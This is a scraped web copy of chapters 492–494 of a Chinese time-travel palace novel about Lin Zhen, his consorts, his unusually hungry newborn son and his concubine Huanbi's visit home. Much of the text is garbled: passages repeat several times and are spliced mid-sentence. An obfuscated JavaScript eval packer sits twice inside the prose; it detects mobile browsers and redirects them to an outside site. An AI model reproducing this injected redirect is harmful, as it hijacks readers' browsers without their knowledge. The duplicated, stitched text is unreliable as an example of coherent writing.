林臻很喜欢和普通人对话的感觉,倒不是觉得自己高高在上,而是能从他们嘴里听到最真实的大乾。 可见,这个国家在林臻的带领下已经是一片欣欣向荣。 他很欣慰。 喝了口茶,林臻又问:“你几个孩子?” “算上大姨子的.四个。”每每说起大姨子,魏大勇都有些脸红。 林臻笑道:“你小子也算享尽齐人之福啊,姐妹双收!哈哈哈哈哈。” “世子又笑话我,这哪是齐人之福,是肩膀上的责任。我有两儿两女,大儿子今年九岁,小闺女才一岁,以后儿子要娶媳妇,闺女要准备嫁妆,这都是银子,否则我才不会当替班呢。” “这话倒不错,男人嘛,养家糊口是责任,不过你需要重视孩子的教育,过些日子大乾要成立第一座公立学校,因为是第一座所以不会招收所有的孩子,只招收那些有文化基础的。等再过几年,义务小学遍地开花,所有孩子就有书读了。” 这是林臻发展大乾最重要的战略方针。 提高识字率。 现在不管是大乾还是其他国家,百姓识字率都不到5%,像齐国、燕国,更是不到1%,这是绝对不行的。 一个国家想开万世太平,想进步,想富裕,就必须得提高识字率,只是这件事情不是短时间内能落实的。 就算把房子都建好,也找不到那么多的老师。 哪像后世?教育系毕业生一千万,新生儿八百万,林臻就不知道这群学教育的莘莘学子以后会去给哪个孩子当老师。 话又说回来,之所以这么多人想当老师,估计也是看上了教师的待遇。 尤其是小学老师,不仅节假日休息,每年还有寒暑假。 不失业又不累,说出去也体面。 但是很可惜啊,教师已经不是正式编制了,估计日后教育系统也会采取优胜劣汰的制度,想靠混日子混到退休的老师,基本已经不存在了。 林臻记得他前女友就是学小学教育的,后来分开后就再没联系,一晃多年过去,也不知道她到底赶没赶上最后的教师编。 但愿她赶上了吧。 这样等林臻有朝一日穿越回去,调到教育局,还能找个理由见上一面。 说着说着,日头已经来到中午,春天的太阳带着几分温度。 林臻敞开胸怀,起身与魏大勇告辞,带着司马椿蕾不急不慢地往家走。 林臻说道:“椿儿,我知道你在宫里都做了些什么事情,但是你要记住,我们的鞭子绝不能抽在老百姓身上,这样会让百姓对朝廷产生不好的想法,我苦心经营起来的大乾,绝不允许任何人去破坏它。” 司马椿蕾的脚步一顿,说道:“臣妾明白。” “走吧,回家,去看看我们的小公子。”林臻又换上笑脸,牵起她的手。 其实有的时候,和同频的人说话不需要说得太深。 一句话,就够了。 管了吧?天子还寻私情呢,更何况是老百姓。只要家里闹得不过分,该给点钱给点钱,或者凭你的人脉关系,在城里给亲戚找个差事做,也并无不可。” “世子说的是啊,前些年我在城里务工,一年到头也就赚个三四两银子,家里也穷,没人看得起。现在情况好了,家里的客人络绎不绝。您说这到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580355|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底是为什么?大家都这么势利眼吗?” “倒不是势利眼,这是很正常的慕强,毕竟谁也不知道自己什么时候会出事,也不知道什么时候会用上你,现在跟你交好,等以后有事儿了也好说话嘛。正所谓穷在**无人闻,富在深山有远亲。就是这个道理。” “世子的话令人深省。” 林臻很喜欢和普通人对话的感觉,倒不是觉得自己高高在上,而是能从他们嘴里听到最真实的大乾。 可见,这个国家在林臻的带领下已经是一片欣欣向荣。 他很欣慰。 喝了口茶,林臻又问:“你几个孩子?” “算上大姨子的.四个。”每每说起大姨子,魏大勇都有些脸红。 林臻笑道:“你小子也算享尽齐人之福啊,姐妹双收!哈哈哈哈哈。” “世子又笑话我,这哪是齐人之福,是肩膀上的责任。我有两儿两女,大儿子今年九岁,小闺女才一岁,以后儿子要娶媳妇,闺女要准备嫁妆,这都是银子,否则我才不会当替班呢。” “这话倒不错,男人嘛,养家糊口是责任,不过你需要重视孩子的教育,过些日子大乾要成立第一座公立学校,因为是第一座所以不会招收所有的孩子,只招收那些有文化基础的。等再过几年,义务小学遍地开花,所有孩子就有书读了。” 这是林臻发展大乾最重要的战略方针。 提高识字率。 现在不管是大乾还是其他国家,百姓识字率都不到5%,像齐国、燕国,更是不到1%,这是绝对不行的。 一个国家想开万世太平,想进步,想富裕,就必须得提高识字率,只是这件事情不是短时间内能落实的。 就算把房子都建好,也找不到那么多的老师。 哪像后世?教育系毕业生一千万,新生儿八百万,林臻就不知道这群学教育的莘莘学子以后会去给哪个孩子当老师。 话又说回来,之所以这么多人想当老师,估计也是看上了教师的待遇。 尤其是小学老师,不仅节假日休息,每年还有寒暑假。 不失业又不累,说出去也体面。 但是很可惜啊,教师已经不是正式编制了,估计日后教育系统也会采取优胜劣汰的制度,想靠混日子混到退休的老师,基本已经不存在了。 林臻记得他前女友就是学小学教育的,后来分开后就再没联系,一晃多年过去,也不知道她到底赶没赶上最后的教师编。 但愿她赶上了吧。 这样等林臻有朝一日穿越回去,调到教育局,还能找个理由见上一面。 说着说着,日头已经来到中午,春天的太阳带着几分温度。 林臻敞开胸怀,起身与魏大勇告辞,带着司马椿蕾不急不慢地往家走。 林臻说道:“椿儿,我知道你在宫里都做了些什么事情,但是你要记住,我们的鞭子绝不能抽在老百姓身上,这样会让百姓对朝廷产生不好的想法,我苦心经营起来的大乾,绝不允许任何人去破坏它。” 司马椿蕾的脚步一顿,说道:“臣妾明白。” “走吧,回家,去看看我们的小公子。”林臻又换上笑脸,牵起她的手。 其实有的时候,和同频的人说话不需要说得太深。 一句话,就够了。 管了吧?天子还寻私情呢,更何况是老百姓。只要家里闹得不过分,该给点钱给点钱,或者凭你的人脉关系,在城里给亲戚找个差事做,也并无不可。” “世子说的是啊,前些年我在城里务工,一年到头也就赚个三四两银子,家里也穷,没人看得起。现在情况好了,家里的客人络绎不绝。您说这到底是为什么?大家都这么势利眼吗?” “倒不是势利眼,这是很正常的慕强,毕竟谁也不知道自己什么时候会出事,也不知道什么时候会用上你,现在跟你交好,等以后有事儿了也好说话嘛。正所谓穷在**无人闻,富在深山有远亲。就是这个道理。” “世子的话令人深省。” 林臻很喜欢和普通人对话的感觉,倒不是觉得自己高高在上,而是能从他们嘴里听到最真实的大乾。 可见,这个国家在林臻的带领下已经是一片欣欣向荣。 他很欣慰。 喝了口茶,林臻又问:“你几个孩子?” “算上大姨子的.四个。”每每说起大姨子,魏大勇都有些脸红。 林臻笑道:“你小子也算享尽齐人之福啊,姐妹双收!哈哈哈哈哈。” “世子又笑话我,这哪是齐人之福,是肩膀上的责任。我有两儿两女,大儿子今年九岁,小闺女才一岁,以后儿子要娶媳妇,闺女要准备嫁妆,这都是银子,否则我才不会当替班呢。” “这话倒不错,男人嘛,养家糊口是责任,不过你需要重视孩子的教育,过些日子大乾要成立第一座公立学校,因为是第一座所以不会招收所有的孩子,只招收那些有文化基础的。等再过几年,义务小学遍地开花,所有孩子就有书读了。” 这是林臻发展大乾最重要的战略方针。 提高识字率。 现在不管是大乾还是其他国家,百姓识字率都不到5%,像齐国、燕国,更是不到1%,这是绝对不行的。 一个国家想开万世太平,想进步,想富裕,就必须得提高识字率,只是这件事情不是短时间内能落实的。 就算把房子都建好,也找不到那么多的老师。 哪像后世?教育系毕业生一千万,新生儿八百万,林臻就不知道这群学教育的莘莘学子以后会去给哪个孩子当老师。 话又说回来,之所以这么多人想当老师,估计也是看上了教师的待遇。 尤其是小学老师,不仅节假日休息,每年还有寒暑假。 不失业又不累,说出去也体面。 但是很可惜啊,教师已经不是正式编制了,估计日后教育系统也会采取优胜劣汰的制度,想靠混日子混到退休的老师,基本已经不存在了。 林臻记得他前女友就是学小学教育的,后来分开后就再没联系,一晃多年过去,也不知道她到底赶没赶上最后的教师编。 但愿她赶上了吧。 这样等林臻有朝一日穿越回去,调到教育局,还能找个理由见上一面。 说着说着,日头已经来到中午,春天的太阳带着几分温度。 林臻敞开胸怀,起身与魏大勇告辞,带着司马椿蕾不急不慢地往家走。 林臻说道:“椿儿,我知道你在宫里都做了些什么事情,但是你要记住,我们的鞭子绝不能抽在老百姓身上,这样会让百姓对朝廷产生不好的想法,我苦心经营起来的大乾,绝不允许任何人去破坏它。” 司马椿蕾的脚步一顿,说道:“臣妾明白。” “走吧,回家,去看看我们的小公子。”林臻又换上笑脸,牵起她的手。 其实有的时候,和同频的人说话不需要说得太深。 一句话,就够了。 管了吧?天子还寻私情呢,更何况是老百姓。只要家里闹得不过分,该给点钱给点钱,或者凭你的人脉关系,在城里给亲戚找个差事做,也并无不可。” “世子说的是啊,前些年我在城里务工,一年到头也就赚个三四两银子,家里也穷,没人看得起。现在情况好了,家里的客人络绎不绝。您说这到底是为什么?大家都这么势利眼吗?” “倒不是势利眼,这是很正常的慕强,毕竟谁也不知道自己什么时候会出事,也不知道什么时候会用上你,现在跟你交好,等以后有事儿了也好说话嘛。正所谓穷在**无人闻,富在深山有远亲。就是这个道理。” “世子的话令人深省。” 林臻很喜欢和普通人对话的感觉,倒不是觉得自己高高在上,而是能从他们嘴里听到最真实的大乾。 可见,这个国家在林臻的带领下已经是一片欣欣向荣。 他很欣慰。 喝了口茶,林臻又问:“你几个孩子?” “算上大姨子的.四个。”每每说起大姨子,魏大勇都有些脸红。 林臻笑道:“你小子也算享尽齐人之福啊,姐妹双收!哈哈哈哈哈。” “世子又笑话我,这哪是齐人之福,是肩膀上的责任。我有两儿两女,大儿子今年九岁,小闺女才一岁,以后儿子要娶媳妇,闺女要准备嫁妆,这都是银子,否则我才不会当替班呢。” “这话倒不错,男人嘛,养家糊口是责任,不过你需要重视孩子的教育,过些日子大乾要成立第一座公立学校,因为是第一座所以不会招收所有的孩子,只招收那些有文化基础的。等再过几年,义务小学遍地开花,所有孩子就有书读了。” 这是林臻发展大乾最重要的战略方针。 提高识字率。 现在不管是大乾还是其他国家,百姓识字率都不到5%,像齐国、燕国,更是不到1%,这是绝对不行的。 一个国家想开万世太平,想进步,想富裕,就必须得提高识字率,只是这件事情不是短时间内能落实的。 就算把房子都建好,也找不到那么多的老师。 哪像后世?教育系毕业生一千万,新生儿八百万,林臻就不知道这群学教育的莘莘学子以后会去给哪个孩子当老师。 话又说回来,之所以这么多人想当老师,估计也是看上了教师的待遇。 尤其是小学老师,不仅节假日休息,每年还有寒暑假。 不失业又不累,说出去也体面。 但是很可惜啊,教师已经不是正式编制了,估计日后教育系统也会采取优胜劣汰的制度,想靠混日子混到退休的老师,基本已经不存在了。 林臻记得他前女友就是学小学教育的,后来分开后就再没联系,一晃多年过去,也不知道她到底赶没赶上最后的教师编。 但愿她赶上了吧。 这样等林臻有朝一日穿越回去,调到教育局,还能找个理由见上一面。 说着说着,日头已经来到中午,春天的太阳带着几分温度。 林臻敞开胸怀,起身与魏大勇告辞,带着司马椿蕾不急不慢地往家走。 林臻说道:“椿儿,我知道你在宫里都做了些什么事情,但是你要记住,我们的鞭子绝不能抽在老百姓身上,这样会让百姓对朝廷产生不好的想法,我苦心经营起来的大乾,绝不允许任何人去破坏它。” 司马椿蕾的脚步一顿,说道:“臣妾明白。” “走吧,回家,去看看我们的小公子。”林臻又换上笑脸,牵起她的手。 其实有的时候,和同频的人说话不需要说得太深。 一句话,就够了。 第492章 小承煜太能吃了 要是走着回王府,那就得走很长时间,好在林臻也不着急,牵着司马椿蕾就像那日牵着楚惜灵一样,两人欢天喜地地走在大街上。 他们俩虽然开心,但毕竟司马椿蕾穿着贵妃娘娘的装扮,那一身奢华的裙袍,纯金的发冠,手上的翡翠扳指,无时无刻都在彰显她高贵的身份。 百姓见到她都急匆匆地退到一边,有的更是当街跪下行礼。 每每林臻想与司马椿蕾说句什么,就得先对百姓说句“免礼平身”,这一路也不知道说了多少遍,说得嗓子都干了,好不容易来到王府附近,林臻拉着司马椿蕾的手,说道:“椿儿,我们走后门吧,要是绕到正门还指不定有多累呢。” 按理说以贵妃的身份,去哪都得走正门。 本来司马椿蕾还挺享受这种受百姓敬仰跪拜的感觉,可久而久之也确实麻烦,于是点点头:“夫君说的正是,下次还是坐马车吧。” “不,下次你换个便装,我还是愿意牵着你。” 一句话说的司马椿蕾甜甜一笑,心里仿佛吃了蜜似的。 两人进了门,直奔晴雯那边。 为了让晴雯舒舒服服地坐月子,上官婉儿特意派了家里四名大丫头伺候,端茶送水捏肩捶腿,把晴雯伺候得和地主老财似的。 尤其是曾经她的小姐妹们。 以前大家都是丫鬟,都是伺候人的,突然有一个飞上枝头当凤凰了,她们也会嫉妒,也会羡慕。毕竟能被伺候,谁又愿意伺候人呢? 不是所有人都是浣碧。 府里张灯结彩,人来人往的很是热闹。 王府有后了,这消息突然传出去惹着京城一众高官连连送礼。 都不是派人随便送的,而是官员盛装打扮,亲自上门送礼,只为见林臻一面。 但是很可惜,林臻早知道会有这样的事情,于是告诉了负责看大门的三蹦子。 原话是,礼物可以收下,人不能进来。 倒不是林臻无情,而是他担心这群人有什么事情开口求自己。 如此一来,大门口堆积的各种礼物就成山了,就这还不算地方官员送的,回头等晴雯出了月子就让她好好统计统计,看看谁没送~ 讲话了,送礼的人我不一定知道,但没送礼的人,我肯定知道。 司马椿蕾走着走着,步伐越来越快,她很急切地想要看到小承煜。 来到晴雯的院子,一众丫鬟小厮立刻下跪行礼,司马椿蕾都是随意的摆摆手,让他们自便,随即推开门,就见到晴雯半躺在床上 给孩子喂奶呢。 “雯儿妹妹!” 司马椿蕾走过去,坐在床边。 晴雯没想到她会来,很是惊喜:“椿儿姐姐,你什么时候出宫的呀?” “这不是刚来?快让我看看小公子。”司马椿蕾伸手要去抱,但是承煜和他爹一样,就喜欢吃奶,对前者伸出去的手连看也不看。 晴雯尴尬地说:“承煜也不知道随谁,很是能吃,家里两个奶娘的奶都不够吃呢。” “啊?这也太离谱了吧?夫君,这正常吗?”司马椿蕾回头问林臻。 其实林臻也是头一次当爹,没什么经验,对此不是很了解。 但既然孙神医和那些奶娘都没说有什么问题,那就肯定不会有问题。 “男孩子嘛,能吃些也好,以后体格健壮。” 闻言,晴雯又换上那副慈爱的笑容,不断哄着怀里的孩子喝奶。 说来也真奇怪,按理说孩子再能吃,也不能一人吃三个人的奶啊,他哪来那么大肚子? 几分钟后,晴雯把孩子抱开,脸色有些不太自然。 “没奶了” “啊?你这个尺寸还能把奶吃没?这小承煜也太能吃了吧。”司马椿蕾从晴雯手里接过孩子,小心翼翼地抱在怀里,用手指逗弄他那带着奶水的小嘴。 “小承煜,要不要来吃姨娘的奶啊?姨娘也给你当奶娘好不好?” 林臻笑道:“瞎说什么,你还没有奶水呢。” 完了,小承煜好像听懂了 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司马椿蕾说道:“夫君,你看是不是再给承煜多雇几个奶娘,毕竟他这么能吃。” 林臻点点头:“嗯,林安已经出去找了,奶娘不是谁都可以做的,要负责很多标准,估计晚上能带回来几个。” 在大乾京城,雇奶娘的价格可是不低,毕竟她是放弃自己孩子来给别的孩子喂奶。而且奶娘长相不能丑陋,身体不能有任何缺陷。 带进来的奶娘都是由孙神医严格把关,有任何隐疾的都不要,所以找起来会稍有困难。 但是林臻还是有些放心不下,这孩子也太能吃了.就算是自己,也不可能一天吃下三个奶娘的奶啊。 况且这奶娘可不是你们的贫乳女友,是相当有资本的,各个都不在慕容嫣之下。 林臻让司马椿蕾陪晴雯聊天,自己去找孙之推,打算问问怎么回事,这样下去太不正常了。 第493章 这烟丝也太不禁抽了 林臻怀揣着心事往孙之推那边去,半路突然听到有人在回廊那边吆喝。 “专治疑难杂症,不好不要钱,不准不要钱,不牛逼不要钱咧!” 林臻当时就笑了。 这个老头,总是在关键的时候出现。 因为之前特意交代过,棋牌佛进府不拦,所以下人也就没有通报。林臻迈开步子走过去,就见这老头手里拿着仙人指路的牌牌,坐在回廊上,一点一点摇着的破扇子。 还真有点济公的意思。 林臻坐过去,说道:“今天怎么有空过来啊?” “小施主,要不要算上一卦?不准不要钱!” “好啊,那你给我算算,我儿子为什么不睁眼睛啊?” 棋牌佛翻着白眼,恰着手指头,装模作样嘀嘀咕咕半天,最后眼睛一亮,说道:“小施主,你儿子可是传说中的天煞孤星啊!” “什么意思?祸害?” “对啊!你赶紧把你儿子掐死,否则不仅是你,你全家都会被他给克死!” “少他妈胡说八道,来点正经的。” “啧嘶.唉.”棋牌佛从怀里掏出烟枪,但是没点燃,光嘬了两口。 啥意思? 不给烟草就不说话呗? “没烟草了?” “唉,世子啊,你是不知道,这烟丝也太不禁抽了。” “猴子。”侯春像只大蝙蝠似的,从房顶上倒挂下来,“世子。” “去我书房把烟丝拿来。” “是。” “哈哈哈哈,多谢世子!”棋牌佛立刻大笑。 其实林臻也明白,本身他自己就是个老烟枪,知道没有烟是件多么难受的事儿。 不过最近他抽得少了,倒不是说要戒烟,而是不太想抽。 侯春速度很快,一大盒烟丝都拿了过来。 棋牌佛迫不及待地拿出火折子点上,深深吸上一口:“嘶呼.” 林臻瞧他那舒坦的样子就觉得好笑,说道:“说吧,具体为什么?别的孩子都睁眼睛,为什么我儿子不睁?而且这孩子就出生的时候哭一声,后来就再也没哭过。” “世子有所不知,自从噬心蛊出现之后,你的一切都已经改变了。” “什么意思?” “世子就没发现你的身体已经越来越强劲了吗?你的孩子也会受到噬心蛊的影响,虽然他不是噬心蛊本体,但所有的行为也会异于常人。如果贫僧所料不错的话,这孩子以后会成为特别聪明的人,甚至超过古之先 贤也不为过。” 林臻对棋牌佛给出的超高评价略感意外。 难道说自己儿子真就这么厉害?他这当爹的心里还真美滋滋的。 随即棋牌佛话锋一转,又说道:“但是世子也要有心理准备,你的孩子,肯定会和其他孩子不同,不管是成就上,还是其他的。” “你别话说一半,完完整整说出来,这一盒烟丝都给你。” 棋牌佛很意外地摇了摇头:“呵呵呵,天机不可泄露,再说不管什么样子,不都是世子的孩子么,贫僧相信世子会很疼爱他的。” 说完棋牌佛就要走,林臻也没阻拦。 既然人家不愿意说,总不能去强迫,而且瞧他那样子就算强迫也不会说,还是别浪费那个口舌了。 他说得对,不管孩子以后什么样,都是我的孩子。 我都会喜欢。 林臻独自一个人在回廊里坐了会儿,浣碧不知道什么时候站在他身后,手里端着茶盏。 有风吹过回廊,吹起地上的桃花,掀起满天的桃花雨。 有花瓣落进茶盏,浣碧恍然回神,说道:“夫君在想什么?” 说完她迈进回廊,坐在他身边,将有桃花的茶盏递给他。 林臻看了看茶汤里飘荡的桃花,说道:“棋牌佛这老头肯定还知道很多事情,我很怀疑他。” “不过看那老和尚的样子倒不像是要坑害您。” “这倒是,如果他要害我早就下手了。” “那夫君还担心什么?” 担心?呵。 林臻确实担心他也是穿越者,只是他不明白,如果棋牌佛真是穿越者,怎么会混得这么惨呢? 也罢,想不明白就不想,等事情发生了再说。 林臻一口将茶水喝掉,顺手搂住浣碧的纤腰:“罢了,不去想那些用不着的。你怎么样?家里人这段时间没来烦你吧?” 浣碧知道他说的是姥姥,微微低下头。 “没有,前些日子表弟确实来过一趟府里,说想在城里找份活计,但是妾身足不出户,也不负责管理什么产业,就没帮他。” “家里过得可还好?” “嗯,母亲和父亲很恩爱,尤其是知道妾身.成为您的房里人后,全家更是对他们百般关照,不敢有任何不敬。过年的时候,妾身把自己这些年攒的贴己钱都拿了出来给了大地主,将父母赎身,剩下的钱父亲置办了几亩薄田,本来户部那边还要卡一下,后来听说是妾身的父亲,就没敢耽搁,现在日子过得有滋有味的。 ” 之所以有滋有味,倒不是因为当了地主,而是因为现在大乾的农税很低。 可即便如此林臻还是觉得有些亏待了浣碧。 作为最忠心的小妾,她的生活应该更好才对。结果却连给父母赎身的钱都要自己硬攒。 想到这,林臻有些歉意。 “我记得你有个亲弟弟是吧?” “是呀,今年十四岁,已经长成大小伙子了,过年的时候见过一面。” “他现在干什么呢?” “嗐,他那么小能干什么?在家里帮父亲打理打理田地,垒垒院子。” “要不你把他调到京城来吧,先跟着俪儿,培养几年,等及冠的时候差不多也就带出来了,到时候好接管产业。毕竟是自己人,用着放心。” 浣碧哪里肯麻烦林臻?连连摆手:“不用的夫君,我们庄稼人又不识字,更别说经商了,还是让他老老实实在土里刨食比较好。” “你就一点不心疼?” “心疼什么?大家不都是这么过日子的吗?” “行了行了,你就别推辞了。这样吧,我放你个假,回家去住几天,让护卫跟着你。回来的时候记得把弟弟带过来,毕竟是我小舅子,我得好好关照一下才行。” 浣碧露出个大大的笑脸,可嘴上依旧有些不情愿:“这不太好吧?” “我做主了,去吧。” “那谢谢夫君!” ” 之所以有滋有味,倒不是因为当了地主,而是因为现在大乾的农税很低。 可即便如此林臻还是觉得有些亏待了浣碧。 作为最忠心的小妾,她的生活应该更好才对。结果却连给父母赎身的钱都要自己硬攒。 想到这,林臻有些歉意。 “我记得你有个亲弟弟是吧?” “是呀,今年十四岁,已经长成大小伙子了,过年的时候见过一面。” “他现在干什么呢?” “嗐,他那么小能干什么?在家里帮父亲打理打理田地,垒垒院子。” “要不你把他调到京城来吧,先跟着俪儿,培养几年,等及冠的时候差不多也就带出来了,到时候好接管产业。毕竟是自己人,用着放心。” 浣碧哪里肯麻烦林臻?连连摆手:“不用的夫君,我们庄稼人又不识字,更别说经商了,还是让他老老实实在土里刨食比较好。” “你就一点不心疼?” “心疼什么?大家不都是这么过日子的吗?” “行了行了,你就别推辞了。这样吧,我放你个假,回家去住几天,让护卫跟着你。回来的时候记得把弟弟带过来,毕竟是我小舅子,我得好好关照一下才行。” 浣碧露出个大大的笑脸,可嘴上依旧有些不情愿:“这不太好吧?” “我做主了,去吧。” “那谢谢夫君!” ” 之所以有滋有味,倒不是因为当了地主,而是因为现在大乾的农税很低。 可即便如此林臻还是觉得有些亏待了浣碧。 作为最忠心的小妾,她的生活应该更好才对。结果却连给父母赎身的钱都要自己硬攒。 想到这,林臻有些歉意。 “我记得你有个亲弟弟是吧?” “是呀,今年十四岁,已经长成大小伙子了,过年的时候见过一面。” “他现在干什么呢?” “嗐,他那么小能干什么?在家里帮父亲打理打理田地,垒垒院子。” “要不你把他调到京城来吧,先跟着俪儿,培养几年,等及冠的时候差不多也就带出来了,到时候好接管产业。毕竟是自己人,用着放心。” 浣碧哪里肯麻烦林臻?连连摆手:“不用的夫君,我们庄稼人又不识字,更别说经商了,还是让他老老实实在土里刨食比较好。” “你就一点不心疼?” “心疼什么?大家不都是这么过日子的吗?” “行了行了,你就别推辞了。这样吧,我放你个假,回家去住几天,让护卫跟着你。回来的时候记得把弟弟带过来,毕竟是我小舅子,我得好好关照一下才行。” 浣碧露出个大大的笑脸,可嘴上依旧有些不情愿:“这不太好吧?” “我做主了,去吧。” “那谢谢夫君!” ” 之所以有滋有味,倒不是因为当了地主,而是因为现在大乾的农税很低。 可即便如此林臻还是觉得有些亏待了浣碧。 作为最忠心的小妾,她的生活应该更好才对。结果却连给父母赎身的钱都要自己硬攒。 想到这,林臻有些歉意。 “我记得你有个亲弟弟是吧?” “是呀,今年十四岁,已经长成大小伙子了,过年的时候见过一面。” “他现在干什么呢?” “嗐,他那么小能干什么?在家里帮父亲打理打理田地,垒垒院子。” “要不你把他调到京城来吧,先跟着俪儿,培养几年,等及冠的时候差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“心疼什么?大家不都是这么过日子的吗?” “行了行了,你就别推辞了。这样吧,我放你个假,回家去住几天,让护卫跟着你。回来的时候记得把弟弟带过来,毕竟是我小舅子,我得好好关照一下才行。” 浣碧露出个大大的笑脸,可嘴上依旧有些不情愿:“这不太好吧?” “我做主了,去吧。” “那谢谢夫君!” ” 之所以有滋有味,倒不是因为当了地主,而是因为现在大乾的农税很低。 可即便如此林臻还是觉得有些亏待了浣碧。 作为最忠心的小妾,她的生活应该更好才对。结果却连给父母赎身的钱都要自己硬攒。 想到这,林臻有些歉意。 “我记得你有个亲弟弟是吧?” “是呀,今年十四岁,已经长成大小伙子了,过年的时候见过一面。” “他现在干什么呢?” “嗐,他那么小能干什么?在家里帮父亲打理打理田地,垒垒院子。” “要不你把他调到京城来吧,先跟着俪儿,培养几年,等及冠的时候差不多也就带出来了,到时候好接管产业。毕竟是自己人,用着放心。” 浣碧哪里肯麻烦林臻?连连摆手:“不用的夫君,我们庄稼人又不识字,更别说经商了,还是让他老老实实在土里刨食比较好。” “你就一点不心疼?” “心疼什么?大家不都是这么过日子的吗?” “行了行了,你就别推辞了。这样吧,我放你个假,回家去住几天,让护卫跟着你。回来的时候记得把弟弟带过来,毕竟是我小舅子,我得好好关照一下才行。” 浣碧露出个大大的笑脸,可嘴上依旧有些不情愿:“这不太好吧?” “我做主了,去吧。” “那谢谢夫君!” ” 之所以有滋有味,倒不是因为当了地主,而是因为现在大乾的农税很低。 可即便如此林臻还是觉得有些亏待了浣碧。 作为最忠心的小妾,她的生活应该更好才对。结果却连给父母赎身的钱都要自己硬攒。 想到这,林臻有些歉意。 “我记得你有个亲弟弟是吧?” “是呀,今年十四岁,已经长成大小伙子了,过年的时候见过一面。” “他现在干什么呢?” “嗐,他那么小能干什么?在家里帮父亲打理打理田地,垒垒院子。” “要不你把他调到京城来吧,先跟着俪儿,培养几年,等及冠的时候差不多也就带出来了,到时候好接管产业。毕竟是自己人,用着放心。” 浣碧哪里肯麻烦林臻?连连摆手:“不用的夫君,我们庄稼人又不识字,更别说经商了,还是让他老老实实在土里刨食比较好。” “你就一点不心疼?” “心疼什么?大家不都是这么过日子的吗?” “行了行了,你就别推辞了。这样吧,我放你个假,回家去住几天,让护卫跟着你。回来的时候记得把弟弟带过来,毕竟是我小舅子,我得好好关照一下才行。” 浣碧露出个大大的笑脸,可嘴上依旧有些不情愿:“这不太好吧?” “我做主了,去吧。” “那谢谢夫君!” 第494章 浣碧的家(一) 以前浣碧家里很穷,否则她也不会被父母卖给人伢子。那时候她还很小,只知道一味地哭,根本不懂父母心里是什么想法。 如果有可能,谁又愿意卖掉自己的孩子呢?毕竟像余华英那样的恶魔实在太少了。 当年的大乾十分清贫,人口多,土地少,也没有其他国家的朝贡可以收,像浣碧家这种情况的根本不在少数,甚至是很多。 后来浣碧被买入王府当丫鬟,因为干活细心,手脚麻利,长相也十分标致,大管家林安这才派她来伺候林臻,一晃十年过去了。 这十年她从来没回过家,不想父母肯定是假的,可即便再想,她也不敢自私跑回去,也不敢和林臻说。 **为奴,就已经是别人的附属品了,没有自由可言。 后来也不知道是谁把她伺候世子这件事情传出去的,娘家姥姥就琢磨着从浣碧这里要点好处,隔三岔五地过来求求情。 当时王府很穷,林臻吃饭都清汤寡水的,而浣碧的月钱只有二百文,虽然也不花,但也不能白给了这个根本就没见过面的姥姥。 但又因为是母亲的母亲,浣碧也不好直接拒绝,几乎每次来都让她吃顿饭再走。 就这样,饭钱还是她自己出的。 后来林臻还碰到过一次,甩手给了五十两,一次性就给喂饱了。 其实林臻不知道,那五十两不到两月就被姥姥家那群败家子花没了,后来姥姥又偷摸来过几次,那时候林臻在前线打仗,是张俪听说了这件事情亲自接见的。 没例外,又给了二十两。 但张俪是什么人?她可不是浣碧那种软软弱弱的性子,而是敢亲手鸩杀刘书瑶,鞭打债务人的狠角色。 给钱的当天她就说了,看在你岁数大的份上,这次就算了。如果再敢来骚扰浣碧,就派人把你六个儿子的腿全都打断。 老太太差点吓死,拿着钱就跑。 但后来还是没脸,硬上门要,最让张俪生气的是,这老太太的家里人居然逢人就说自己跟王府有关系,四处打着王府的旗号借钱。 张俪怒了,不但没给钱,还真就派了几个手下去城外,把老太太家的六个儿子挨个打了一遍,还把她们家房子都烧了,说以后再敢来要钱,或者再敢打着王府的旗号去招摇撞骗,就交给衙门处置。 就这样,浣碧的姥姥才算熄灭了小心思,再也没来过。 想到这,坐在回廊下的浣碧觉得很是幸福。 自己可以回家探亲了。 刚才和林臻说不想 回去,那是假话。 哪有孩子不想家的?浣碧只是不希望林臻为她的事情多操心而已。 现在林臻主动给自己放假,浣碧准备去收拾收拾,现在就出发。 房间内,浣碧对着镜子精心打扮了一番,打扮过后又觉得不太妥当。 自己是农家孩子,穿金戴银的回家成什么样子?还不把村里邻居们吓死。 于是她赶紧把各种首饰都取下来,连带着外袍都换上了素色。 拿上些细软和自己攒的银两,准备出去。 忽然,青霞挺着大肚子进了门,她见浣碧风尘仆仆的样子很是诧异:“妹妹,你这是要干什么去啊?” 浣碧说道:“青霞姐姐,嘻嘻,夫君说要给我放几天假,让我回去探亲。” “好事儿啊!”青霞眼睛一亮:“果然啊,夫君还是最疼我们碧儿了呢。” “哎呀姐姐,你又笑我.” “呵呵呵,不笑不笑,但是你为什么穿成这个样子?这比你平时穿得还素呢,是以前的衣服吧?” “嗯”浣碧小声点说:“我是想着穿得太隆重会吓到乡亲们。” “傻妹子,你这叫衣锦还乡!必须得穿得隆重些,否则那群乡亲们会把你家看扁的!” “他们哪有你说的那么坏?” 青霞见她还不相信,翻了个白眼说道:“妹妹,人心是最险恶的东西,如果你这次回去不穿的隆重些,那些人就会以为你家以前说的那些话都是吹牛,不仅从此看轻你家,还会想方设法的欺负你们家!听姐姐的,立刻把你最好的衣服换上,各种首饰,能带的都带上。” “不要嘛” “妹妹,你若不听,你会后悔的!” 浣碧见她说得煞有其事,而且想想青霞这些年在江湖中摸爬滚打,经验肯定比自己丰富,于是点点头,又去换衣服。 青霞挺着大肚子也没闲着,把浣碧的首饰盒打开。 里面有很多都是林臻送的珍宝,价值不菲,但是浣碧从没戴过。 她挑选了一块价值连城的祖母绿耳坠,等浣碧换完衣服后亲手给她戴上。 “夫君最疼的果然是你,这块祖母绿耳坠晴雯跟她求了八百次,夫君都没给,原来是给你了。” 